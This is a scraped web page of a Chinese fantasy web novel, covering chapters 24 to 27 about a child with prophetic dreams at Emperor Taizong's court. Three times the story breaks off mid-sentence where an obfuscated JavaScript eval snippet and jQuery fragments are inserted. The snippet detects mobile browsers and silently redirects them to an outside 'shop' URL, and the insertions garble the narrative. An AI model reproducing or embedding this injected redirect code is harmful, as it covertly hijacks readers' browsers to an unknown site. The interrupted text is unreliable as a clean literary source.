夜幕降临,景颐被嬷嬷带回立政殿用晚膳。
长孙皇后正亲自照看着李治用一小碗鸡茸粥,丽质小口吃着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128800|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蜂蜜蒸梨,脸色已好了许多。
景颐则坐在小案后,面对一碟子精致的玉露团和一碗香滑的乳酪,却有些心不在焉,小眼神飘忽。
他脑子里还满满都是白日里那场奇梦,黑胖皇帝“呼噜呼噜”喝的那碗热气腾腾、香味霸道的汤!
“大姐姐,”景颐终于忍不住,放下小银匙,蹭到长孙皇后身边,仰着小脸,眼睛亮晶晶地开始描述,“我今天……嗯,做了个梦!梦里有个黑黑的、胖胖的、很和气的大叔叔,他喝了一种汤,可香可香了!”
长孙皇后温柔地将他揽到身边,拭去他嘴角一点乳酪渍:“哦?是什么样的汤,让我们的景颐这般惦记?”
“是那种……”景颐努力组织语言,小手比划着,“稠稠的!像糊糊,但是是汤!里面有、有软软的面疙瘩,还有薄薄的豆皮,好多东西!闻起来……嗯,有点冲鼻子,但是特别香!好像有胡椒的味道,还有……还有别的,我说不上来,反正喝了身上暖烘烘的!”
他想起赵匡胤喝完汤额角冒汗的样子,补充道,“那个大叔叔喝得可快了,呼噜呼噜的,喝完还擦汗,说‘痛快’!”
他描述得绘声绘色,小脸上满是向往,仿佛那碗汤的香气已经钻进了他的鼻子。
旁边的李治本来正乖乖吃粥,听到景颐说得这么热闹,也竖起了小耳朵,尤其听到“香香的”、“稠稠的”、“喝了暖和”,再看看自己眼前粥,顿时觉得不香了。
他扭着小身子,冲着长孙皇后撒娇:“雉奴也要香香汤!呼噜呼噜!”
丽质也好奇地望过来,她病中口淡,听着也觉得有些开胃。
长孙皇后被孩子们逗笑了,但心中却是一动。景颐这孩子,描述吃食向来直接,很少如此具体地形容一种他显然没在宫中吃过的东西,连胡椒、面筋这些细节都出来了。
这梦境,怕是又不寻常。
她不动声色,柔声应道:“景颐梦里的汤,听着倒像是民间的一种暖身羹汤,多用胡椒、茱萸等辛料,辅以面筋、豆皮等物熬煮,秋寒时饮用最是驱寒。宫中倒是不常见此等粗犷吃法。”
“不粗犷!好喝!”景颐立刻反驳,小脑袋摇得像拨浪鼓,“那个黑胖子叔叔是……是很大的官呢!他都爱喝!” 他差点说漏嘴,赶紧咬住舌头。
“雉奴也要喝!暖烘烘!”李治趴在长孙皇后腿上,眼巴巴地看着母后。
长孙皇后无奈,笑着轻点景颐和李治的额头:“你呀,做个梦倒把弟弟的馋虫也勾出来了。好,明日母后让尚食局试着做做看,看能否还原我们景颐梦里的神仙汤。”
“好耶!”景颐高兴了,仿佛已经喝到了那碗让他魂牵梦萦的热汤。
李治也跟着咯咯笑,拍着小手。
长孙皇后看着孩子们纯真的笑脸,目光却在景颐兴奋的小脸上多停留了一瞬。
这孩子,总能梦见些稀奇古怪却又莫名真切的东西。
她心中微叹,面上笑容却越发温柔,将一块更软烂的玉露团放到景颐碟中:“先把这个吃了。梦里的汤,明日便有了。”
安抚好几个小馋猫,待他们睡下后,长孙皇后才缓步走到窗边。
夜空澄净,星子疏朗。
25.第 25 章
时间悄然滑入十月。关中秋意渐渐转寒,晨起时阶下覆着薄薄的白霜,庭中银杏满树金黄,风过时簌簌如雨。
自那日火箭之梦后,又过了些平静时日。太常寺与太医署的博士们已领了整理火法典籍的差事,在皇城一隅辟了间静室,终日与故纸堆为伴,偶尔有呛人的硝磺气味飘出,也被解释为试验古方。将作监递上来的匠人名录,厚厚一叠,静静躺在李世民书房的密匣中。
长琴自上次从终南山归来后,又匆匆离去,这次连明确的归期都未留下,只托一只偶然飞入宫苑的、羽毛带着流云纹的翠鸟,给景颐捎了句口信:“地脉有异动,需往极西一行。勿念,琴音不绝。”
景颐戳了戳翠鸟的羽毛,鸟儿啾鸣一声,振翅消失在秋雨迷蒙的天空。孩子抱着膝盖坐在廊下,看着雨水在青石板上溅起一个个小水泡,第一次清晰地感觉到“想念”是种什么滋味,心里空落落的,连最爱的蜜渍樱桃都觉得没那么甜了。
于是,他往两仪殿和立政殿跑得更勤了。长孙皇后总是温柔地摸着他的头,给他念书、教他认简单的字、或者只是让他挨着自己,看宫女们织绣秋冬的衣裳。
而李世民若在殿中处理政务,只要不是极紧要的机密时刻,也多半会允他在偏殿玩耍,甚至偶尔批阅奏章累了,会将他唤到身边,考教几个字,或随口讲一段浅显的史事。
这日午后,秋雨暂歇,天色依旧阴沉。政事堂内,李世民正与几位重臣商议今冬北边突厥可能出现的骚扰及应对之策,以及来年春耕前几处水利工程的优先次序。
房玄龄手持一份舆图,指着朔方一带,声音平缓却条理清晰:“……李绩将军呈报,今秋草原水草丰茂,薛延陀各部牲畜膘肥,然其内部为争草场已有数次械斗。臣恐其内部矛盾或会外溢,以劫掠边镇转移视线。当令并、代诸州加强戒备,斥候前出……”
长孙无忌则更关心钱粮:“若增派游骑斥候,并加固几处关键戍堡,所需钱帛约在……加之明岁春耕前,郑白渠的疏浚乃是重中之重,关中百万人口仰赖于此,工料、民夫之费,需及早筹措……”
魏征坐在下首,面色沉静,待二人说完,才开口:“陛下,北边防备固不可松,然臣闻今岁河东、河南亦有数州奏报秋粮因雨减产。民以食为天,边境之防,终需内地粮秣支撑。臣以为,当严令各州县,核查仓廪,平抑粮价,预防奸商囤积居奇,此乃安内攘外之根本。”
李世民听得专注,时而点头,时而蹙眉沉思,手指无意识地摩挲着腰间玉佩。堂内炭火毕剥,茶香袅袅,混合着纸张与墨汁的气息。
而在仅一墙之隔的偏殿里,气氛则截然不同。
景颐原本在宽敞的偏殿里,试图用李世民给他的一套小巧的木制战车模型和几个陶俑,重演李叔叔前几天给他讲的“霍去病奔袭匈奴”的故事。
可他摆弄了一会儿,就觉得眼皮发沉。雨日午后特有的、带着潮气的暖意从半开的窗棂渗进来,混合着不远处政事堂隐约传来的、低沉而平稳的议论声,如同最好的催眠曲。
他打了个大大的哈欠,抱着一个充当霍去病的陶俑,蜷缩在铺着厚厚绒毯的坐榻角落里,脑袋一点一点,很快便沉入了带着木头清香的梦乡。
梦里,他的小木马好像真的跑了起来,哒哒哒,穿过好高的草……
不知过了多久,政事堂内的议论声渐息。几条重要的方略大致议定,具体细则还需各部回去细化。
李世民揉了揉眉心,端起微凉的茶盏饮了一口,忽然想起什么,对侍立一旁的王德低声道:“去偏殿看看,景颐是否还在玩?若是睡了,轻声唤醒他,免得睡久了夜里走了困。”
王德领命而去,片刻后回转,面带一丝无奈的笑意,低声道:“大家,小郎君抱着个陶俑,睡得正香呢。”
李世民失笑,对正要起身告退的几位大臣道:“诸卿稍待,将那贪睡的小儿唤来,醒醒神。不然回去皇后又要说他。” 语气里带着长辈对顽童的无奈与纵容。
房玄龄与长孙无忌皆微微一笑。魏征眉头几不可察地动了一下,似乎觉得陛下对这孩子宠溺稍过,但终究没说什么。
不多时,睡得迷迷糊糊、头发还有一绺翘着的景颐,被宫人轻轻牵着手,带进了政事堂。孩子显然还没完全清醒,揉着眼睛,深褐色的眸子蒙着一层水光,怀里还下意识地抱着那个霍去病陶俑。
“李叔叔……”软糯的声音带着刚醒的含糊,礼身子还有点晃。
李世民招手让他近前,顺手替他理了理翘起的头发,“睡得可好?梦里可追上匈奴了?”
景颐摇摇头,老实地回答:“马跑着跑着就没了。”
他这时才看清堂内还有好几位严肃的伯伯,立刻站直了些,好奇地打量。房伯伯他是认得的,常来凝云轩和李叔叔说话,总是笑眯眯的。
长孙舅舅也见过几次,很和气。但那位留着长胡子、面容特别严肃、眼神清亮的伯伯,他看着有点陌生,也有点让人不由自主想站得更直。
李世民笑道:“来,见过几位伯伯。这是房相,这是你长孙舅舅,这位是魏大夫。”
景颐乖乖地依次行礼:“房伯伯好,舅舅好,魏伯伯好。”
房玄龄含笑点头,温声道:“小郎君近日可还习字?” 他知道皇后在教这孩子认字。
“嗯!”景颐点头,有点小骄傲,“认到‘云腾致雨,露结为霜’了!大姐姐说,露结为霜就是早上起来,草叶上有白白的东西,凉凉的!”
“哦?”长孙无忌也来了兴趣,故意逗他,“那若是没有草叶,这霜会结在何处?”
景颐被问住了,皱着眉想了想,不确定地说:“嗯……结在石头?或者房顶上?” 他想起早上起来,凝云轩的瓦上有时也是白白的。
孩子认真的模样让房玄龄和长孙无忌都笑了起来,连一向严肃的魏征,嘴角也微微松动了一下。
李世民见气氛轻松,便对魏征道:“玄成,你素来直言。不妨也考考这孩子,看他可能答出些有趣的。”
魏征闻言,看向景颐。他目光清明,没有问圣贤大道理,而是略微沉吟,问了一个看似简单的问题:“若你有一块极甜的饴糖,与三五好友同游,你会如何分食?”
问题出口,房玄龄和长孙无忌都略感意外,这问题似乎太简单了些,不似魏征风格。
景颐却认真思考起来,他想起在流云境时,师父给的仙果,还有和丽质、雉奴分点心的时候。
“如果只有一块,” 他慢慢地说,小手比划着,“那就……大家轮流舔一下?或者,找个干净石头砸开,虽然会碎,但每个人都能吃到一点点。”
他顿了顿,又补充道,“不过最好还是再去找找,说不定还有呢!或者,我少吃一点,让给最小的那个,因为我还吃过别的。”
魏征静静地听着,脸上没什么表情,目光却落在景颐清澈见底的眼睛上。
半晌,他缓缓道:“轮流舔食,虽不雅,却得均;砸碎分之,虽形损,却得公;先让幼小,虽己亏,却得仁。小郎君心思纯正。”
这评价出自以严苛著称的魏征之口,已是极高的赞誉。李世民都有些意外,眼中笑意更深。
房玄龄也笑着打趣:“看来魏大夫今日是手下留情了,未曾问出‘若糖中有毒,当先与谁尝’这等难题。”
众人轻笑。景颐虽不懂大人们笑什么,但能感觉到氛围轻松了很多,便也放松下来,好奇地看向魏征手中一直握着的那枚光润的象牙笏板。
那笏板质地细腻,在堂内光线下泛着温润的光泽,板身挺直,边缘圆滑,看着很适合拿来当小船在水里划。
他忍不住凑到魏征身边,伸出小手,轻轻碰了碰魏征垂在身侧的笏板边缘,小声问:“魏伯伯,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133980|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个板板,是写字用的吗?”
就在他指尖触碰到那冰凉坚硬的象牙表面的瞬间,极其轻微的一声,仿佛极细的琴弦被最轻柔的风拨动了一下。
景颐只觉得眼前似乎花了一下。
他仿佛看到,魏伯伯的身影,似乎和一种不断啄击着巨大、坚实树干的声音和意象重叠了一瞬。
那声音笃笃笃,不急不缓,却异常执着,仿佛要一直啄到树干回应为止。很严肃,有点吵,但那树干好像很坚硬,需要这样啄?
这感觉一闪而逝,快得如同错觉。景颐甩了甩头,再看魏征,还是那个严肃的魏伯伯,只是眼神似乎也有一刹那的恍惚,握着笏板的手指几不可察地收紧了些。
与此同时,房玄龄正端起茶盏,指尖触碰到温热的瓷壁时,也仿佛感到瞬间的恍惚,眼前似乎掠过一丝无数纤细丝线正在经纬交错、编织成复杂有序图案的幻影,那图案庞大而精密,令人望之心生赞叹,却又感到一丝维系其平衡的紧绷。
长孙无忌则是在景颐目光无意间扫过他腰间一枚青玉环佩时,感到玉佩似乎微不可察地温了一瞬,脑中莫名闪过几个模糊的、代表着不同势力或诉求的符号,正被一种圆融却坚韧的力量缓缓归拢、调和的画面。
连李世民,在景颐碰触魏征笏板时,心念似乎也被牵动,于刹那间,仿佛听到了许多不同的声音正汇聚而来,而自己高坐中央,需得分辨、权衡、然后给出一个能承载这些声音的回响。
这一切,都发生在呼吸之间。
堂内陷入了一种极短暂的、奇异的静默。炭火爆开一个灯花,“噼啪”一声,打破了沉寂。
景颐第一个回过神来,他茫然地眨了眨眼,忘了刚才那奇怪的感觉,注意力又被魏征的笏板吸引,仰头追问:“魏伯伯?”
魏征垂下眼帘,看了看自己的笏板,又看了看孩子纯然好奇的脸,方才那一闪而逝的、仿佛自己被某种执拗禽鸟精魂附体般的古怪感觉,让他素来清晰的思绪也产生了瞬间的迷惑。但他很快将其归咎于连日操劳后的刹那恍惚。
他定了定神,将笏板稍稍拿开些,语气恢复了一贯的平稳,对景颐解释道:“此乃朝臣奏事时所持之笏,用以记事,非为书写。”
“哦……”景颐似懂非懂地点点头。
李世民也将心中那刹那的异样感压下,笑道:“好了,莫要缠着你魏伯伯了,今日便到此吧。”
几位大臣起身告退。离开政事堂时,房玄龄与长孙无忌交换了一个若有所思的眼神,方才那短暂奇异的共鸣感虽无法言说,却让他们心中对那位小郎君,又多了几分难以言喻的留意。魏征步伐依旧沉稳,只是握着笏板的手,比平日更紧了些。
景颐被李世民留在身边,吃了半块宫人刚送来的、新制的桂花糕,甜香软糯,立刻把什么笏板、什么奇怪感觉都抛到了脑后。
“李叔叔每天都要和房伯伯他们说这么久的话吗?”他腮帮子鼓鼓地问。
“是啊,”李世民将他抱到膝上,看着窗外又渐渐沥沥下起来的秋雨,“要管这么大一个家,方方面面都要想到,说不完的话,议不完的事。”
“那魏伯伯……”景颐想起那个严肃的伯伯和笃笃笃的幻觉,小声说,“他说话好像啄木鸟。”
李世民一愣,随即朗声大笑,笑声在空旷的殿堂里回荡。
“啄木鸟……哈哈哈,妙!妙喻!”他揉着景颐的脑袋,眼中笑意深深,“是啊,就是要有这样的啄木鸟,时时啄一啄,这大唐的‘树干’才能长得更直,蛀虫才无处藏身。”
景颐不懂其中深意,只觉得李叔叔笑得开心,他便也跟着傻笑起来。
窗外秋雨潺潺,洗刷着宫殿的琉璃瓦。
而在更遥远的、雨云也无法抵达的高天之上,属于火焰的炽烈气息,正在某个星官的簿册上,缓缓勾勒出下一次降临人间的轨迹。
26.第 26 章
十一月末,长安落了今冬第一场雪。
凝云轩的屋檐覆上薄薄银妆,庭中那株老桂树的枝叶间缀着细雪,在晨光下晶亮亮的。
西厢房窗内,景颐裹着厚厚的锦被蜷成团子,只露出几缕睡得翘起的黑发,和半边红扑扑的脸颊。
“……天命之谓性,率性之谓道,修道之谓教。”
清朗稚嫩的诵读声穿透窗纸,带着冬日清晨特有的清冽感。
桂花树下,九殿下李治一身绯红小袄,捧着书卷站在石凳旁,呵出的白气氤氲在冻红的脸颊边。他已经站了两刻钟,从《中庸》首章读到了第五章。
这是景颐强烈要求的结果。一个月前,小家伙扯着长孙皇后的袖子信誓旦旦:“大姐姐!让雉奴来凝云轩和我一起读书吧!我保证早起!保证认真!”
然后他就创造了连续二十七天睡过头、被李治的读书声吵醒的记录。
“道也者,不可须臾离也,可离,非道也。是故君子戒慎乎其所不睹……”
李治背书声顿了顿,悄悄瞥向西厢窗户——没动静。他抿抿唇,抬高音量:“恐惧乎其所不闻!莫见乎隐!莫显乎微!故君子慎其独也!”
“呜……”
窗内终于传来含糊的呜咽声。接着是窸窸窣窣的动静,一张睡眼惺忪的小脸贴到窗纸上,压扁了鼻子:“雉奴……你念到哪了……”
李治眼睛一亮:“景颐你醒啦!我刚背完第五章!”
房门“吱呀”推开,景颐胡乱裹着狐裘蹬着毛绒靴子跑出来,眼睛半眯着,脑袋上还翘着一撮呆毛。他凑到李治身边,就着小殿下举起的书卷瞄了一眼,顿时眼睛睁大:“这、这么多字?!”
“是《中庸》,先生说开蒙后该读的。”李治认真道,“景颐你说要一起读书,我们今天从第一章开始好不好?”
景颐盯着那些密密麻麻的字,眼睛里浮起困惑的漩涡。他昨夜其实做了个很短的梦,梦里有个白胡子老头在竹简上刻字,刻着刻着竹简忽然长出叶子,老头气得跳脚。
但这和《中庸》有什么关系?
“我、我觉得……”景颐眼神飘忽,“读书之前,得先考察一下环境!”他蹲下身,扒开桂树根部的积雪,“你看!蚂蚁都躲起来了!这说明天太冷不适合读书,适合烤栗子!”
李治眨眨眼:“可是先生说过,冬者岁之余,正是读书时……”
“那是说大人!”景颐理直气壮站起来,雪花落在他睫毛上,“我们是小孩,小孩的冬天就该……”他忽然顿住,眼睛望向院门。
一袭青衣自月洞门缓步而来,衣袂拂过积雪却未沾湿半分。长琴肩头落着几片雪花,手中提着个藤编食盒,眉目间带着长途跋涉后的淡淡倦色,但眼神清润如旧。
“师父!”景颐眼睛一亮,像个小炮仗般冲过去,飞扑到他身上。
“先生。”李治规规矩矩行礼。
长琴颔首,将食盒放在石桌上:“从江南带的梅花糕,还热着。”他看向景颐,眼底有浅淡笑意,“听闻你这月闻鸡起舞,日日勤学?”
景颐耳朵尖红了,扒着石桌边缘偷瞄食盒:“我、我那是闻雉奴起舞,不对,闻雉奴读书而起……”
李治抿嘴笑:“景颐很用功的,昨日还教我认‘麒麟’二字怎么写呢。”
虽然景颐写出来的“麒”字少了一横,“麟”字多了一竖。
长琴也不拆穿,打开食盒。热气裹着梅花清香散开,莹白糕点做成五瓣梅形,中间点着嫣红糖心。
景颐咽了咽口水,却先捏起一块递给李治:“雉奴先吃!你念书念饿了!”
两个孩子坐在覆雪的石凳上吃糕点,长琴则拂去另一张石凳上的雪坐下,七弦琴凭空浮现膝上。他随手拨了几个音,清泠琴声荡开,院中积雪簌簌落下几簇。
“流云境的古木结果了。”长琴忽然道,指尖抚过琴弦,“这次回去,正是为了收那三枚光阴实。一枚已送回仙府镇压时间微尘,一枚留给景颐日后用,还有一枚……”
他看向甘露殿方向,没有说完。
景颐却捕捉到关键词:“果子?能吃吗?”
“不能。”长琴摇头,“吃了你会看见自己从出生到现在的每一刻同时发生,怕是会晕上三天三夜。”他顿了顿,“不过,你最近溯梦可还安稳?”
景颐舔掉指尖的糖渣,歪头想了想:“就梦见竹简长叶子,还有……嗯,梦见李叔叔在玩火。”
李治手中的糕点差点掉下来:“耶耶玩火?!”
“不是真的玩啦。”景颐比划着,“是很多小火苗在纸上跳,然后‘砰’一下!李叔叔就笑了,笑得好开心。”
长琴眸光微动。李世民的火药探索,看来已有进展。
此时甘露殿侧殿,确实弥漫着淡淡的硝烟味,但极其微弱,被窗边焚着的苏合香掩盖。
李世民面前的铜盆里,一小撮黑色粉末刚刚燃尽,留下焦痕。他将手中密折合上,看向垂首立于殿中的老者:“王匠人,依你估算,若要制成可百步外破甲之物,需多少时日?”
被称作王匠人的老者须发皆白,双手布满厚茧,是三代侍奉皇家的将作监大匠。
他沉吟片刻:“陛下,此物性烈,配比差一丝便有炸膛之险。老臣按您给的方子试了十七次,如今只能确保三十步内点燃,再远,则需解决引火与密封的难关。”
“我给你时间。”李世民从案下取出一枚玄铁令牌,“即日起,你调任天工苑,所需物料走内库密账,一应人手由你亲选。记住,此事只对我一人负责,连太子问起也不得透露。”
“老臣明白。”
王匠人退下后,李世民走到窗边推开半扇。冷风卷着雪沫扑进来,他深吸一口气,胸膛间那股灼热的悸动却未平息。梦中那惊天动地的爆炸威力,若能掌握……
“二郎。”长孙皇后的声音从身后传来,带着不赞同,“窗边风大,您昨夜批奏折到子时,当心着凉。”
李世民回身,握住她微凉的手:“观音婢,我近日总想起当年太原起兵时,父亲犹豫不决,是你说‘家国危难,当断则断’。”
他摩挲着她的指节,“如今我要做另一件当断则断的事,或许惊世骇俗,或许被后世诟病,但朕必须做。”
长孙皇后凝视他片刻,轻声道:“是为了那些梦吗?”
“……是。”
“那就做吧。”她微笑,“妾信二郎的判断。只是……”
她看向窗外凝云轩方向,“莫要让那孩子牵扯太深。景颐的眼睛太干净,不该过早看见这些。”
李世民将她揽入怀中,没有回答。
凝云轩内,真正的读书终于开始,虽然和想象中不太一样。
长琴没讲《中庸》,而是摊开一幅绢帛地图,上面用朱砂标着山川城池。景颐和李治趴在石桌两边,眼睛瞪得圆溜溜的。
“这是大唐疆域。”长琴指尖轻点长安位置,“景颐,若你是行军总管,粮草从洛阳运往凉州,走哪条路最快?”
景颐盯着地图,眼睛无意识泛起微光。那些线条在他眼中仿佛活了过来,河流奔涌,山脉起伏,他甚至“看见”几队虚影般的马车在不同道路上跋涉。
“走泾水!”景颐忽然指向一条蓝色曲线,“虽然绕一点,但不用翻那座大山!”他顿了顿,又犹豫,“可是冬天河水结冰了呀。”
李治小声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138285|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
补充:“书上说,腊月冰厚三尺可走车马。”
长琴眼底掠过赞许:“不错。那么若在夏日呢?”
“那就走这条直的!”景颐划出一条路线,“但是,这里有个峡谷。”他皱起小鼻子,“我梦见这里下大雨,石头滚下来把路堵了。”
李治惊讶:“景颐梦见的是何时的事?”
“不知道呀,就看见好多穿绿衣服的人在那里搬石头,衣服上还有‘开皇’两个字。”
李治眼睛微微瞪大。开皇,是前朝隋文帝的年号,那是四十多年前的事了。
“梦境之事,可作参考,但不可尽信。”长琴温声道,“因为时间长河有无数支流,你看见的或许只是其中一条可能。”
他在地图上轻轻一拂,“就像这地图,今日是这样,百年后或许城池移位、河道改道,但那是后人的事了。我们能做的,是走好当下这条路。”
景颐似懂非懂地点头,李治却若有所思。
课后,长琴被李世民请去商议祭天乐章。两个孩子在院里堆雪人,景颐给雪人插上桂树枝当角,得意洋洋:“这是麒麟雪人!”
李治认真道:“麒麟是仁兽,该再堆个小兔子在它旁边,表示仁爱。”
两人正忙活着,院门外忽然传来欢快的脚步声。是丽质带着两个小宫女来了,小公主披着大红斗篷,怀里抱着个手炉:“景颐!雉奴!娘娘让我送姜蜜水来!还问你们要不要去立政殿看腊梅,花房刚送来两盆并蒂的!”
雪又悄悄下了起来,细碎的雪花落在孩子们的发梢、肩头。凝云轩里飘出姜蜜水的甜香,混着隐约的琴音与笑语,在初雪的长安午后,织成一段暖融融的时光。
与此同时,东宫崇文馆暖阁内,炭火烧得正旺。太子李承乾正与魏王李泰对弈,黑白子在檀木棋盘上交织。十三岁的太子眉目间已有沉稳气度,十一岁的李泰则圆脸带笑,执白子的手指肉乎乎。
“四弟这手小飞挂角,颇有舅父的风范。”李承乾落下一枚黑子,“不过攻势太急,左下角露出破绽了。”
李泰眨了眨眼睛:“大兄教训得是。泰只是想起前日读《孙子兵法》里‘其疾如风’一句,便想试试棋路如兵势。”
他忽然压低声音,“对了大兄,你可知近来耶耶常单独召见将作监的老匠人?”
李承乾执棋的手微不可察地顿了一下:“朝政之事,耶耶自有决断。”
“可魏大夫前日上疏劝谏‘奇技淫巧非治国之本’,这事在弘文馆都传开了。”李泰凑近些,“我听闻,是和景颐有关?”
“胡说什么。”李承乾面色微沉,“景颐才五岁,能懂什么奇技?”
李泰缩了缩脖子,但眼睛还是亮晶晶的:“我就是好奇嘛。而且大兄,你不觉得景颐很特别吗?他的眼睛,偶尔会变成金色,我亲眼见过一次。”
棋子“啪”地落在棋盘上。李承乾抬眼,目光里有兄长少见的严肃:“四弟,有些事情看见了也要当作没看见,记住了吗?”
暖阁内静了片刻。炭火噼啪作响,窗外雪花飘落。
李泰低下头,小声道:“知道了……”他重新看向棋盘,忽然转移话题,“对了大兄,元日大朝会快到了,我打算献一篇《瑞雪赋》给耶耶,你说怎么写比较好?”
李承乾神色缓和下来,替他理了理衣领:“诚心而作便好。不过记住,文章贵在真心,不在辞藻。父皇常说民为邦本,你若能在赋里提一句,会比单纯写宫阙更得圣心。”
“谢大兄指点!”李泰笑开了,圆脸上露出两个酒窝。
兄弟俩继续对弈,暖阁里只剩下落子声。窗外,雪花无声覆盖东宫庭院,一切皆掩埋于纯白之下。
27.第 27 章
腊月二十八,长安城已经披上了浓重的年节气息。各坊市街巷挂起桃符、红灯,坊墙外飘着炊烟与炖肉的香气,孩童们穿着新裁的冬衣在雪地里追逐嬉闹,爆竹声零星响起,那是富贵人家提前试放庭燎用的竹节。
凝云轩内却是一片狼藉。
景颐、丽质和李治三个小人儿正蹲在廊下,围着一只硕大的铜盆。盆里泡着十几张红纸,旁边散落着裁歪的春联、剪坏了的窗花,以及一摊摊溅出来的墨汁。
“这个‘福’字……好像写反了?”李治举起一张红纸,上面墨迹淋漓的篆字左右颠倒。
“反福才吉利!叫‘福到’!”景颐理直气壮,眸子亮晶晶的。他脸上沾了好几道墨痕,像只花脸小猫,手里还攥着支快秃了的毛笔,“大姐姐说民间都这么贴!”
丽质捂嘴笑:“可你写的这是‘示’旁还是‘衣’旁呀?”
景颐低头看了看自己笔下那个歪歪扭扭的字,顿时泄气:“都怪这笔不听使唤……”
说着把毛笔往盆里一扔,墨汁溅起,李治躲闪不及,衣摆上顿时多了几点墨梅。
“呀!”
“对不起对不起!”
三个孩子笑闹作一团,谁也没注意到廊柱旁何时倚了个身影。
“写春联呢?”带笑的声音响起,温和又清朗,“右边那张‘五谷丰登’,‘登’字少了一点。”
三人齐齐回头。只见一袭绛红锦袍的青年斜倚在柱边,墨发用赤金冠高高束起,眉目俊朗,唇角噙着漫不经心的笑意。冬日的阳光透过廊檐落在他身上,却仿佛被他周身那股暖融融的气息染得更亮了些。
景颐眨了眨眼,眼睛忽地瞪圆:“爷——”
“叫哥哥。”青年走过来,很自然地伸手揉了揉景颐的脑袋,把那几缕本就乱翘的头发揉得更乱了,“几个月不见,墨汁都吃到脸上去了?”他指尖在景颐脸颊那点墨痕上一抹,墨迹竟凭空消失了。
丽质和李治都愣住了。小公主先反应过来,规规矩矩行了个万福礼:“不知这位先生是……”
“路过的,看你们写春联有趣,凑个热闹。”青年摆摆手,注意力完全在景颐身上。他弯腰捡起盆里那张写反的“福”字,端详片刻,笑了,“心意是好的,字嘛……跟你师父小时候有一拼。”
景颐眼睛更亮了:“爷爷见过师父小时候写字?”
“何止见过。”青年挑眉,“你师父三岁时第一次握笔,写了三天‘道’字,最后那张纸——”他拖长语调,眼底闪过促狭的光,“被他恼羞成怒点着了,差点烧了半个宫殿。”
话音未落,庭院里微风拂过。一袭白衣不知何时已立在廊下,长琴面沉如水,耳尖却透着微不可察的淡红。
“父亲。”他声音依旧清冷,却隐隐带着无奈,“您来便来,何必提这些旧事。”
这一声“父亲”让丽质和李治都睁大了眼睛。眼前这看起来不过二十七八的俊朗青年,竟是先生的父亲?
祝融哈哈一笑,转身面对儿子:“怎么,小时候的糗事还不让说了?”他踱步过去,很自然地拍了拍长琴的肩膀,“突然出现吓到你了?我算到你们在这儿,就直接过来了,上边那些繁文缛节,你知道我最不耐烦。”
长琴蹙眉:“您总是这样……”
“这叫随性。”祝融不以为意,又回头冲景颐眨眨眼,“你师父小时候可比你规矩多了,哪像你,满脸墨汁还乐呵呵的。”
他从袖中摸出块饴糖,剥开塞进景颐嘴里,“走,带你逛街去,长安城的年集可比那些冷清宴会热闹。”
景颐含着糖,含糊不清:“可师父说要写完春联……”
“我批假了。”祝融冲长琴扬眉,“有意见?”
长琴沉默两息,终究妥协:“……早点回来。”
“放心!”祝融一手抱起景颐,另一手随意一挥,廊下凭空多出个食盒,“给你们带的蓬莱仙果,当赔我吓到你们的礼。”
话音未落,他与景颐的身影已如水中倒影般微微晃动,随即消散在空气中,只留下淡淡的、温暖如盛夏阳光的气息。
丽质和李治呆呆看着空荡荡的庭院。李治小声道:“先生,那位真是您父亲?”
长琴看着食盒,眼底掠过一丝极淡的笑意:“嗯。他性子向来如此,你们不必拘谨。”顿了顿,“今日之事,莫要外传。”
两个孩子乖巧点头。
腊月二十八的长安西市,热闹得像开了锅的汤圆铺子。景颐被祝融牵着挤进人流时,差点被扑面而来的各色香味熏了个跟头。
烤胡饼的焦香、炖羊肉的膻香、糖炒栗子的甜香,还有不知哪家飘出来的酒醋味儿,混在一起,热腾腾、闹哄哄。
“哇”景颐金眸瞪得溜圆,脑袋左转右转,看什么都新鲜。
“瞧你这没见过世面的样儿。”祝融笑他,随手从旁边摊上抄起个五彩风车,塞他手里,“拿着,吹口气试试。”
景颐鼓着腮帮子用力一吹,风车“哗啦啦”转起来,彩纸在冬日阳光下闪闪发亮。他乐了,举着风车跑了两步,回头冲祝融笑出一口小白牙。
“慢点!看路!”祝融嘴上喊着,随手付了钱,跟了上去,顺手又买了串糖葫芦,“喏,这个也得尝尝,过年标配。”
景颐左手风车右手糖葫芦,忙得不知先顾哪边。祝融看得直乐,干脆又买了包炒松子,自己磕着,顺手剥了几颗仁儿塞景颐嘴里。
两人就这么一路吃一路逛。看到耍猴戏的,祝融抱着胳膊点评:“这猴儿不够灵,我当年在昆仑山见过只白猿,会自己摘桃酿酒,那才叫本事。”
景颐听得眼睛发亮:“爷爷下次带我去看!”
“行啊,等你师父点头。”祝融揉他脑袋。
